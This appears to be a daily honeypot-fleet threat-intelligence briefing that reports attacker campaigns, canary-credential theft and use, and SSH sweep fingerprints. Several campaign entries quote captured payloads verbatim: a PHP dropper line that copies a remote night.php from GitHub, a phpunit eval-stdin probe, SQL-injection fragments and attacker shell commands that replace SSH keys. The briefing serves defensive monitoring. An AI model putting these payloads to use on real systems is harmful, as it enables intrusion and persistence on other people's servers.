FLUX FLEET — INTEL BRIEFING №43

Period: 2026-10-05 07:33 – 2026-10-06 07:33 UTC (24h, day 41 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 41-day baseline, every ≥3× result-tag spike attributed to a named actor)

BLUF

NIGHTAGENT returned after 15 idle days and ran twice in one window. 105.159.4.244 (ONP MA) posted the verbatim NightAgent phpunit verify and the unchanged nightagents/nightshell dropper POST — against a GitHub repo that 404s, so the drop cannot succeed — and 185.213.193.49 (Zenlayer US) ran the same kit without the phpunit stage, minting 3 across two nodes. MEGA-DICTIONARY replayed on frantech-ts (13,414 paths, +17 — the fifth consecutive growth event) and drove that node's +30%. The 45.154.138.x cluster earned promotion after a second mint window with 9 mints, and a Linode IP ran the identical kit on two more nodes. Lauterbourg's LLM decoys met their first dedicated client: 48 chat-completions POSTs in 18 hours under the honest UA AutoGenX-Engine/9.1. Mint failures stayed at zero for a second window; AWS-side use continued for a ninth window.

Key Judgements

1. NIGHTAGENT's return is reactivation of stored tooling, not a new kit. The verify marker <?php echo "NightAgent";?> and the dropper URL + GHSAT token are byte-identical to the 14-window record, and the kit did not replace the URL the repo's 09-24 removal broke. (High confidence — bodies are captured verbatim.)
2. The Kiteworks decoy is now under standing, multi-operator collection. A second window arrived within 24 hours of the first, from a repeat Google IP plus a new Tc Datacenter LT IP with the identical pass shape. (Moderate confidence — two windows, three IPs, still zero credential paths or mints.)
3. The 45.154.138.x /24 is a standing collector operation, and its kit escaped the /24. Nine mints this window against three last window, a 61-second python-requests burst from six fresh /24 IPs, and the same 20-path config-bundle census run by 45.79.200.28 (Linode) on control + ru-edge. (High confidence — mint rows and journeys are measured.)
4. GO-SSH-SWEEP's operators work what they open. The sweep set a record (35,548 sessions, +10,395) and its busiest sources — 77.239.124.144/.145/.146/.150 — are the same /24 that runs the post-shell uname inventory on frantech's honeypot. (High confidence — Arkime fingerprint sources and honeypot command sessions name the same /24.)

Active Campaigns (day 41 status)

NIGHTAGENT (phpunit webshell → dropper → form login → wp-batch SQLi) ⚠ RETURN — NINTH RUN, TWO OPERATORS (Hostile, active)

• Actors: 105.159.4.244 (Office National des Postes e-TN, MA — the campaign's registered residential geography) and 185.213.193.49 (Zenlayer Inc, US — opportunistic hosting, the row's other registered class). Prior: ONP-MA residential trio + DELTA Fiber NL, last run 09-21.
• TTPs: .244 ran the full kit on canary-farm-1 (11:59–12:01 EDT): phpunit eval-stdin.php verify POST <?php echo "NightAgent";?>, then the dropper POST <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> — the same URL and token the registry recorded as 404 since 09-24 — then form login user=root&pass=wrong, wp-batch SQLi (author_exclude UNION SELECT, CONCAT(0x7c7c,HEX(...),0x7c7c) — the ||OK|| probe), a 20-path config-bundle census, tomcat ..;/ env bypasses, /.aws/credentials, and 1 mint at /.env. .49 ran the same sequence minus the phpunit stage in three passes (farm 00:20, aidev 01:33, farm 03:19 EDT), 19 families, 3 mints. .49 also carried the byte-identical wp-batch SQLi body.
• Assessment: dormant-operator reuse, not tooling evolution: the kit did not repair the broken dropper, so this run can stage nothing — it validates that the decoys still draw the full kill chain and that the fleet's mints land in the hands of a live RCE-oriented actor. Watch for a corrected dropper URL or a successful night.php fetch.

KITEWORKS-CRAWL (Kiteworks decoy fingerprinting) ⟳ — SECOND WINDOW, NEW OPERATOR BLOCK (Hostile, active)

• Actors: 35.205.254.119 (Google LLC BE — repeat from №42) and 45.138.12.27 (Tc Datacenter Limited LT — the same block as LeakIX's l9explore operator 45.138.12.51). 34.52.229.253 absent. Passes at 04:33 and 09:35 EDT.
• TTPs: identical to №42 — kiteworks-root-redirect → /login (kiteworks-shell 200) → 23 kiteworks-asset JS bundles → webshell-sweep-observed ×2 + webshell-probe + a 103-path not-handled census; bare stripped-Chrome + Chrome/128 UA pair; 0 mints.
• Assessment: two operator blocks now collect the same TLS profile with the same pass shape — the Kiteworks decoy fingerprints as a real product to more than one actor. The fleet's three decoy TLS profiles have all drawn third-party recon. Promote further on credential paths or a mint.

LLM-ENDPOINT-PROBE (decoy LLM API use) ⚠ NEW

• Actors: 104.168.115.214, lauterbourg-01-ts only, honest UA AutoGenX-Engine/9.1.
• TTPs: /api/tags (ollama-tags 200) → 10× POST /api/chat (ollama-chat 200, 09:06–10:22 EDT) → 4× GET /v1/models + 33× POST /v1/chat/completions (llm-endpoint-openai-chat 200, 13:17–03:01 EDT). 48 POSTs total across 18 hours; request bodies not captured. This IP is the whole llm-endpoint-openai-chat 16.5× spike (33 vs a 2.0 7-day average).
• Assessment: the first client that treats the LLM decoys as endpoints rather than wordlist entries — discovery, then repeated use, on an honest self-label. The obvious reading is free-API abuse or capability testing of an "exposed" inference endpoint. Watch for a second IP and for captured bodies.

ENVRC-SWEEP (distributed mobile-UA env-path walker) ⚠ NEW

• Actors: 21 residential-class IPs, fleet-wide: signature d045b89fe96b — /.envrc tarpit walks, 14 IPs on 6 nodes; signature e4cbfe2556fa — /var/.env, 7 IPs on 5 nodes. Both signatures first seen 10-06. ~9–13 events per IP.
• TTPs: single-path repeats into the tarpit under rotating modern mobile forgeries (Chrome/153–156 Android/iOS, Firefox/152–156 mobile, iPhone/Android device strings). 0 mints; the tarpit absorbs every walk.
• Assessment: a new distributed low-touch census in the WP-LOGIN-BRUTE residential-rotation class, aimed at env-adjacent paths the older sweeps ignore. The two signatures and shared UA pool read as one tooling family. Promote on any mint or non-tarpit result.

CONFIGBUNDLE-SWARM (45.154.138.x /24 config-bundle census + mint swarm) ⟳ — PROMOTED ON SECOND WINDOW (Hostile, active)

• Actors: 45.154.138.x on control-1 — .72/.51 (Chrome/106) and .88 (Chrome/39) ran the 20-path webapp-config-bundle-js census again, then six more /24 IPs (.70/.78/.84/.95/.164/.165) minted 1 each under python-requests/2.34.2 in a 61-second burst at 11:30–11:31 EDT. NEW sibling shape: 45.79.200.28 (Akamai Connected Cloud/Linode) ran the same 20-path census on control-1 + ru-edge and minted 1 on each, under rotating Chrome/105–106 forgeries (120 events, 17 result types). The /24 owns control's share of the webapp-config-bundle-js spike; the Linode IP owns all of ru-edge's (20 of 20).
• TTPs: per-IP single mints at /.env, census legs, python-requests one-touch minting. 9 mints this window vs 3 in №42.
• Assessment: the №42 watch rule fired — a second mint window makes this a standing collector operation with /24-internal tasking. The Linode IP proves the kit is not confined to one block. Watch 45.79.200.28 for a third window.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — EVENING WAVE, 6 SENSORS (Borderline)

• Actors: 18 l9scan IPs / 769 events / 14 mints at 1/IP across ai-devbox-1, canary-farm-1, control-1, ru-edge-1, netcup-ts, lauterbourg-01-ts, in one wave 19:53–20:43 EDT. All DigitalOcean. UA variants 2.0.930323, 2.0.234313, 2.0.6343, 2.0.632323. Sibling: 45.138.12.51 (l9explore/1.2.2) ran 87 events on netcup-ts, 0 mints (4/6d).
• TTPs: the registered 27-family journey (tarpit → WebLogic → Confluence → WHM/cPanel → docker-registry) — 12 such journeys sit on the kill-chain watchlist; minting at /.env remains 1 per IP with zero burst rejections.
• Assessment: steady-state collection, neither growth nor contraction (18 IPs vs 17 in №42, 31 at the №41 record). Pacing discipline (1 mint/IP) and sensor spread held.

MEGA-DICTIONARY (shared IoT dropper-URL dictionary) ⟳ — FIFTH GROWTH EVENT (Hostile, active)

• Actors: 98.98.47.133 (Zenlayer MY — the №40 host) on frantech-ts 00:23–00:25 EDT: 13,414 events / 13,414 distinct paths in 2 minutes. 0 POSTs, 0 mints. Host ledger: 31173 AB, Datacamp ×3, tzulo ×2, Zenlayer ×2.
• TTPs: anti-join against №42's 13,398-path set: +17 new / 1 dropped → 13,414. Growth series +6/+27/+34/+39/+17. New paths: /backup/winki.* ×10 architectures, /nyx_bot_linux_amd64_packed, /nyx_bot_linux_mipsle_packed, /bins/dlink.sh, /bins/morte.i686, /botbin, /dropfix, /main_host, plus 3 /c/<token> paths — the artifact now carries paths harvested from other actors' campaigns (TOKEN-CRAWLER's shape).
• Assessment: maintained, shared, and passed between at least eight operator hosts; cadence on this host is now two replays in four days. Every path landed on the deception surface at zero intel cost.

WP-FORM-BRUTE (distributed wp-login brute) ⟳ — SIXTH WINDOW, ENUM STILL DROPPED (Hostile, active)

• Actors: 92 credential POSTs from 42 IPs + 123 probes from 41 IPs + 32 xmlrpc POSTs from 24 IPs. The ed66cc967251 wp-login+xmlrpc leg is the only registered signature in today's cluster table (21 IPs / 84 events, aidev + farm). The №42 one-POST vhost-derived generation and df15/2bdde2df2cf6 signatures did not re-appear as clusters.
• TTPs: probe → credential POST against the fake WordPress; wp-user-enum-rest remained at zero for a second window (vs ~840 in №41).
• Assessment: the roster holds at scale while the enumeration stage stays out — two windows of credential-only behavior. The 200-pair alarm stays armed; pair counts remain below it.

SS-PROBE (self-marking __ss_probe walker) ⟳ — THIRD OPERATOR (Hostile, active)

• Actors: 105.112.26.83 (aidev ×3 + canary-farm-1, 1 mint each, 03:50–04:50 EDT).
• TTPs: GET /__ss_probe_6044ce427532cb1225692c4f1807383d__ under python-requests/2.31.0, then /.env → 200 mint. No POSTs, no fanout.
• Assessment: the registered template (marker guarantees first-seen, single mint, immediate exit) with a fresh marker suffix and a third operator IP/ASN. The 1-hour, 4-mint cadence is the fastest SS-PROBE run on record.

TOKEN-CRAWLER (45.198.224.x /24 token-path census) ⟳ — ACTIVE

• Actors: five /24 IPs (.232–.235, .238) ran 20 fresh /c/<100-char token> paths each on frantech-ts; .124/.125 repeated their 8-node bare tarpit passes.
• TTPs: token-path enumeration + .env directory variants; 0 mints.
• Assessment: the full template continues for a second window; the fleet-wide 8-node light passes keep the /24 the most persistent single-origin presence this window.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — NINTH USE WINDOW (Hostile, active)

• Actors (use side): SS-Net 80.94.95.211 used 1 credential from 4 AWS-side IPs — and returned to minting after its №42 miss (2 mints on ai-devbox-1 under an Opera/5.02 (Windows 98; U) forgery). No use IP appears in flux logs.
• TTPs: 4 use events on 1 credential — 2 sts:GetCallerIdentity successes, 2 denied ListFoundationModels. Hoards: Feo .175 89/6d, .171 24/6d. The SES pair stayed out a fifth window.
• Assessment: ninth consecutive window with observed AWS use; successes stay confined to sts:GetCallerIdentity and the deny-all policy held. The mint→use split (no use IP in flux logs) persists.

CONFIG-SWEEP (87.120.104.29) ⟳ — RETURN WITH CHANGED KIT (Hostile, watch)

• Actors: 87.120.104.29 (Sino Worldwide Trading, NO) — registered from days 1/4/8, absent since.
• TTPs: netcup-ts, 150 paths in 0.087 s under forged Googlebot/2.1: webshell-probe ×6, webshell-sweep-observed ×2, dockerenv-marker, 134 not-handled. 0 mints. This is the Tamatiya 79.124.58.82 shape, not the registered .env census.
• Assessment: the block returned with commodity webshell-probe tooling rather than its old census. Treat today's run as a new evidence point, not the CONFIG-SWEEP kit.

Absent or paused

GIT-VAULT (first miss after three windows — the 3xK trio stayed home; separately 102.220.161.102 from the CREDSWEEP operator's VPS Dedicated SI block ran a 144-path fake-git walk on ai-devbox-1, a new operator for the git-walk template), OMEGA-SWEEP (third consecutive miss — new pool-singles pair 94.154.43.125/.146 minted 1 each under Chrome/147; .100 repeated bare-UA / passes on 7 nodes, 71 events), BUCKLOG-KIT (census arm absent — no 185.177.72.x events), METADATA-HUNT (eighth marker-light window), XMLRPC-BRUTE standalone (today's xmlrpc events are WP-FORM-BRUTE's ed66 leg), CF-FRONTED CREDSWEEP (sixth window), SONICWALL-VPN-PROBE, ZKILLU-GITWALK, CRUSADER-SWEEP, NIGHTAGENT-prior-dormancy (now active), ORACLE-SWEEP. MALWARE-DICT: 204.76.203.18 ran its 30th control-1 loop — 2,198 events / 571 paths — and /24 siblings .237 and .219 made light 8-node touches (72 and 16 events) under the same Chrome/90 Edg/90 UA as 91.92.40.236.

Watch-class singles (no campaign yet)

• 172.105.76.7 (Akamai Connected Cloud DE): lauterbourg-01-ts, 117 events / 95 paths / 107 distinct UAs in 6 minutes — a UA-rotation mass census (Splunk, XWiki, Confluence, Jira, pfBlockerNG, awstats, Citrix SAML POST with a 510-byte SAMLRequest=... body). Includes the fleet's first observed forged ClaudeBot/1.0 UA string (spliced onto a Chrome/131 prefix, against /adminer.php). Promote on a repeat.
• 87.182.231.18 (Deutsche Telekom residential, self-label CameraScannerV3/1.0): second window — 128 events on sponge-01-ts incl. 16 on IP-camera paths (/stream.mjpg, /image.jpg, /server-info.php — all first-seen).
• 45.153.34.249: 3 nodes, 96 events, Chrome/91; touches the same camera paths and minted 1 on canary-farm-1.
• 93.113.206.248: 3 mints in 7 minutes across control + aidev under a bare stripped-Chrome UA — new collector, no census.
• No-UA 32-hex probes: 5 IPs (195.85.115.180, 64.94.84.84, 199.91.220.245, 69.67.172.126, 66.179.30.211) each fetched /7f13c0a9d8644f3ca0a563b6b56e49d7 with an empty UA — 1–2 events each. Hash-named path, no tooling signature; watch for the hash recurring.

Benign (distinguish from hostile)

• 185.73.23.162 (Ruhr-Universität Bochum, Software Security Research/1.0): the academic reverse-proxy measurement crawler, 719 events across netcup + sponge, honest UA, /-plus-/en* journeys.
• 89.248.172.33 (uptime-prober trio): 270 events across 5 nodes, aiohttp.
• 176.65.149.188: honest zgrab/0.x, 7 nodes / 7 events — research scanning.
• 71.6.x / 198.235.24.x / 66.240.223.x: registered research/uptime probers, single-digit events.
• XFF mismatch (1 row, benign): ai-devbox-1 05:04 EDT — metabase-cve-2026-72898-detect/1.0 (benign detection probes only) on /api/session/properties, socket peer 169.40.142.190 (the Zkillu /24), header asserts 149.14.106.212. Same peer and same self-labeled shape as №41's benign mismatch.

Standing actors (persistence check)

• 45.148.10.171 — eleventh consecutive minting window; volume down to 10 events / 4 mints across 7 sensors (24/6d).
• SS-Net pair — .211 returned from a one-window miss to mint + use; .92.65 minted 4 across 3 sensors (19/6d).
• REGISTRY-HUNT — nightly wave, 6th sensor set in 6 windows, volume flat.
• 204.76.203.18 — 30th dictionary loop; the /24's light-touch sibling count is now six hosts.
• 45.198.224.x — token census + 8-node passes, every window this week.
• lauterbourg cadence — the node absorbed four distinct collection passes in 13 hours (Kiteworks ×2, LLM probe, UA-rotation census): the newest decoy profile is now on standing schedules.

Network-layer recon (Arkime) — 2026-10-05 07:33:00 → 2026-10-06 07:34:16 UTC

Fingerprint field ssh.hassh, destination port 22 · 129,149 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 86,805, bahrain-sponge-01-ts 27,689, sensor:bahrain-sponge-01-ts 27,689, contabo-sponge-01-ts 23,022, sensor:contabo-sponge-01-ts 23,022, sensor:lauterbourg-01-ts 22,313

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,361 sessions from 338 source IPs across 168 networks in 51 countries, port 22, avg 4,900 B/session. Networks: AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS16276 OVH SAS, AS4766 Korea Telecom, AS132203 Tencent Building, Kejizhongyi Avenue. Busiest sources: 151.59.5.224, 103.189.89.196, 27.112.78.170, 35.210.61.208, 152.32.182.8. Last 7 days: 09-30 365 IPs, 10-01 350 IPs, 10-02 332 IPs, 10-03 346 IPs, 10-04 343 IPs, 10-05 360 IPs, 10-06 108 IPs.
• 0a07365cc01fa9fc82608ba4019af499 — client banner ssh-2.0-go, 35,548 sessions from 118 source IPs across 36 networks in 21 countries, port 22, avg 5,144 B/session. Networks: AS209854 Cyberzone S.A., AS205089 Alfahost LLC, AS213790 Limited Network LTD, AS48090 Techoff Srv Limited, AS208137 Feo Prest SRL. Busiest sources: 192.253.248.216, 77.239.124.144, 77.239.124.145, 77.239.124.150, 77.239.124.146. Last 7 days: 09-30 65 IPs, 10-01 84 IPs, 10-02 64 IPs, 10-03 68 IPs, 10-04 106 IPs, 10-05 112 IPs, 10-06 45 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. GO-SSH-SWEEP (0a07365c…) set its record: 35,548 sessions (+10,395) from 118 IPs (+17), fourth threshold crossing in five windows — and AS208137 Feo Prest SRL joined its network set, the first overlap between a network-layer sweep block and the fleet's standing mint-hoarder family. Its busiest sources, 77.239.124.144/.145/.146/.150, are the same /24 whose .146 ran the 803-event uname inventory on frantech's honeypot this window (see hp section): the sweep, the shells, and the hardware survey are one operation. LIBSSH-MASSSWEEP (f555226d…) held its plateau — 338 IPs, day 17, −24 day-over-day. 16443846184e… ran its ninth uncharacterised cycle (14,960 sessions, −2,272). 084386fa7ae5… grew again: 50 → 57 → 72 source IPs over three windows, still uncharacterised. 98f63c4d9c87… (11 days on record, peak 97 IPs) ran 20 IPs / 1,384 sessions. One new fingerprint: ec9ea89c70f5…, banner ssh-2.0-openssh_7.4, 12 sessions / 10 IPs — below all thresholds. LEAKIX-SSH (fd65145f…) absent a second window. Labeling note: the bahrain-sponge-01-ts (27,689) and contabo-sponge-01-ts (23,022) session tags equal control-1's and ai-devbox-1's per-node counts exactly — the two Arkime sensor labels drift from the node names they carry; the pcap pipeline is read-only for this workflow, so this is recorded, not fixed.

Canary credentials

Summary

1 Tracebit alert(s) fired in the window (4 use events across 1 credentials). Fleet sensors minted 56 credentials to 41 collector IPs; 1 credential(s) reached AWS. Use outcomes: 2 success, 2 failure. Denied operations: ListFoundationModels×2. 2 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 213.209.159.175: 89 mints, 2026-09-29 04:24 → 2026-10-04 07:45
• 213.209.159.154: 72 mints, 2026-09-30 00:02 → 2026-10-04 18:15
• 45.148.10.171: 24 mints, 2026-09-29 09:35 → 2026-10-05 21:17
• 80.94.92.65: 19 mints, 2026-09-30 16:17 → 2026-10-05 23:12
• 94.154.46.249: 12 mints, 2026-10-01 01:07 → 2026-10-01 01:07
• 94.154.46.250: 11 mints, 2026-10-02 02:03 → 2026-10-02 05:48
• 109.205.176.10: 7 mints, 2026-09-29 06:04 → 2026-10-05 21:33
• 102.220.161.139: 6 mints, 2026-09-29 11:28 → 2026-10-01 21:00
• 94.154.46.245: 6 mints, 2026-09-29 15:04 → 2026-09-29 15:04
• 102.220.161.102: 4 mints, 2026-09-29 08:40 → 2026-09-29 23:06
• 102.220.161.87: 4 mints, 2026-09-30 16:51 → 2026-10-02 14:51
• 105.112.176.254: 4 mints, 2026-10-04 00:55 → 2026-10-04 02:03
• 105.112.26.83: 4 mints, 2026-10-06 03:50 → 2026-10-06 04:50
• 155.117.232.31: 4 mints, 2026-09-30 17:11 → 2026-10-02 22:03
• 45.138.12.51: 4 mints, 2026-10-02 10:20 → 2026-10-04 06:58
• 157.245.113.227: 3 mints, 2026-09-30 17:55 → 2026-10-05 20:27
• 159.89.12.166: 3 mints, 2026-09-30 18:19 → 2026-10-05 20:06
• 159.89.174.87: 3 mints, 2026-09-30 18:19 → 2026-10-04 20:34
• 165.22.34.189: 3 mints, 2026-09-30 11:36 → 2026-10-02 20:16
• 167.99.181.249: 3 mints, 2026-10-02 21:35 → 2026-10-04 20:34
• 172.93.215.8: 3 mints, 2026-10-03 13:07 → 2026-10-05 14:17
• 185.213.193.49: 3 mints, 2026-10-06 00:22 → 2026-10-06 03:20
• 20.221.59.215: 3 mints, 2026-10-03 21:56 → 2026-10-05 08:49
• 206.189.19.19: 3 mints, 2026-10-02 21:35 → 2026-10-03 20:42
• 206.209.210.3: 3 mints, 2026-10-01 21:40 → 2026-10-02 05:10
• 206.81.24.227: 3 mints, 2026-09-30 20:57 → 2026-10-05 20:43
• 209.97.180.8: 3 mints, 2026-09-30 21:01 → 2026-10-04 20:34
• 41.140.8.33: 3 mints, 2026-10-02 22:14 → 2026-10-02 22:15
• 46.101.111.185: 3 mints, 2026-10-03 20:38 → 2026-10-05 01:39
• 64.227.32.66: 3 mints, 2026-09-29 20:04 → 2026-09-30 17:55
• 91.92.41.8: 3 mints, 2026-10-04 02:30 → 2026-10-04 02:31
• 93.113.206.248: 3 mints, 2026-10-05 20:30 → 2026-10-05 20:37

Fleet Observations

Canary economics. Digest mint rows: canary-farm-1 20 (18 IPs), ai-devbox-1 17 (13), control-1 17 (16), ru-edge-1 7 (7) — 61 rows, every one ["aws"]; lauterbourg-01-ts 0. Tracebit dedupe: 56 credentials to 41 collectors. Mint failures: zero, for a second consecutive window — no 400/401 rows; the l9scan wave ran at 1/IP pacing and no census burst hit /.env fast enough to trip burst rejection.

Attribution and TLS posture. XFF counters: any 829 / multi-entry 0 / ignored-internal 19 / single-entry mismatch 1 — the one mismatch is the benign self-labeled metabase probe (see Benign). Host census: bare-IP-led on six of eight nodes; the decoy vhosts carried kiteworks.rightabouteverything.show 368 and inference.fapthropic.com 382 — both under active collection this window (KITEWORKS-CRAWL, WP-FORM-BRUTE's vhost-derived generation).

Volume moves and causes. frantech-ts +30% (14,032) — MEGA-DICTIONARY's 13,414 in a single hour burst. netcup-ts +18% (1,573) — the Bochum crawler (329) plus the two 150-event webshell censuses (79.124.58.82, 87.120.104.29). The other six nodes fell: canary-farm-1 −74% (1,233), ai-devbox-1 −62% (1,110), control-1 −41% (3,132), lauterbourg-01-ts −40% (1,204), sponge-01-ts −27% (1,050), ru-edge-1 −79% (675) — the №41 l9scan record wave, the CF-fronted census, and ZKILLU-class mass all stayed home, and what remains is the standing collector set. ai-devbox-1's cell still rides a 7-day average that carries pre-rotation days.

Result-tag spike attribution. All three ≥3× spikes trace to named actors: canary-farm-1 webapp-config-bundle-js 8.6× = 185.213.193.49 (40) + 105.159.4.244 (20); ru-edge-1 webapp-config-bundle-js 3.5× = 45.79.200.28 (20 of 20); lauterbourg-01-ts llm-endpoint-openai-chat 16.5× = 104.168.115.214 (33 of 33).

control-1 discovery velocity. Day 23: 3,132 events from 154 unique IPs — inside the 84–157 band, fifteenth window in a row.

Digest quirks. №42's NUL-byte quirk did not reproduce: flux-digest-2026-10-06.md is 20,587 bytes with zero NUL bytes (verified). The ai-devbox-1 rotated-file gap (env-canary.jsonl.1, 268 MB) enters its fifth cycle — all-time counters stay depressed (1,637 all-time mint rows this run vs 2,460 pre-rotation). The fix belongs in the ops repo.

Fleet-side changes this cycle. CHAINS in flux-visuals.py gained CONFIGBUNDLE-SWARM, ENVRC-SWEEP, and LLM-ENDPOINT-PROBE; NIGHTAGENT went active, KITEWORKS-CRAWL went recurring, GIT-VAULT went idle; notes updated for CREDENTIAL-DRAIN, REGISTRY-HUNT, CREDSWEEP, MALWARE-DICT, MEGA-DICT, WP-FORM-BRUTE, SS-PROBE, OMEGA-SWEEP, CONFIG-SWEEP. TALKER_CAMPAIGNS gained 24 entries. recon-names.tsv unchanged — no new network-layer campaign names. The visuals dashboard ran once: flux-fleet-visuals-2026-10-06.html.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 692 sources sent credentials → 571 got a shell (83%) → 321 ran a command (56% of shell-getters, 46% of sources). Event level: 26,644 credential attempts → 4,033 accepted logins → 6,612 commands (164% of accepted logins go on to run something — third window above 100%).

Sixteenth fully static window. New commands: 0 of 54 distinct. New credential pairs: 0 of 21,058. Telnet commodity attempts fell to 708 (from 4,728). The .ssh replant pair stays dominant: cd ~; chattr -ia .ssh; lockr -ia .ssh ran 1,088 events from 236 IPs, and the key-replace companion ran 960 from 212. The GO-SSH-SWEEP /24 worked the box again: 77.239.124.146 plus 7 block siblings ran the two-variant uname survey (803 + 715 events). The Techoff /24's GPU survey continued: 195.178.110.218 ran lspci | grep VGA enumeration (258 events ×2 commands). Credential concentration: 345gs5662d34/345gs5662d34 drew 1,044 attempts, root/3245gs5662d34 772.

Gaps / Next Collection

1. Restore ai-devbox-1 history (fifth cycle). Ingest env-canary.jsonl.1 (268 MB) or move rotation behind the sync boundary. All-time counters stay wrong until then.
2. NIGHTAGENT's dropper. The kit POSTs a copy() against a 404 repo. Does a follow-up window carry a corrected URL — or a successful night.php fetch on a node where the tarpit serves it? Check for night.php GETs and for .244/.49 re-runs.
3. MEGA-DICTIONARY anti-join vs 13,414. The growth series has five points (+6/+27/+34/+39/+17); a sixth on .133's next replay turns it into a rate. Host cadence is now two replays in four days.
4. KITEWORKS-CRAWL third window. Two operators, zero credential paths so far. Watch kiteworks-credential results or a mint against the Kiteworks profile.
5. CONFIGBUNDLE-SWARM spread. Does 45.79.200.28 (Linode) run a third window, and does the 20-path census appear on a third block? Diff both against the 45.154.138.x set.
6. LLM-ENDPOINT-PROBE bodies. The 48 chat POSTs carry bodies the view does not show (bodyPreview empty). Check flux capture config for lauterbourg's LLM endpoints; a second IP would make this a standing free-API drain.
7. Network layer. GO-SSH-SWEEP at record volume with Feo Prest in its network set and 77.239.124.x confirmed post-shell — correlate sweep sessions with honeypot accepted logins per source. 084386fa7ae5… growth (72 IPs) and 16443846184e… (ninth cycle, no banner) still lack characterization.

Digest: /data/flux-logs/reports/flux-digest-2026-10-06.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-06.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-06.html

Watch next cycle: (1) NIGHTAGENT — does the kit fix its 404 dropper URL, and do .244/.49 re-run? (2) MEGA-DICTIONARY anti-join vs 13,414 — sixth growth point; .133 replays every ~3 days now. (3) CONFIGBUNDLE-SWARM's Linode sibling 45.79.200.28 and the Kiteworks third window.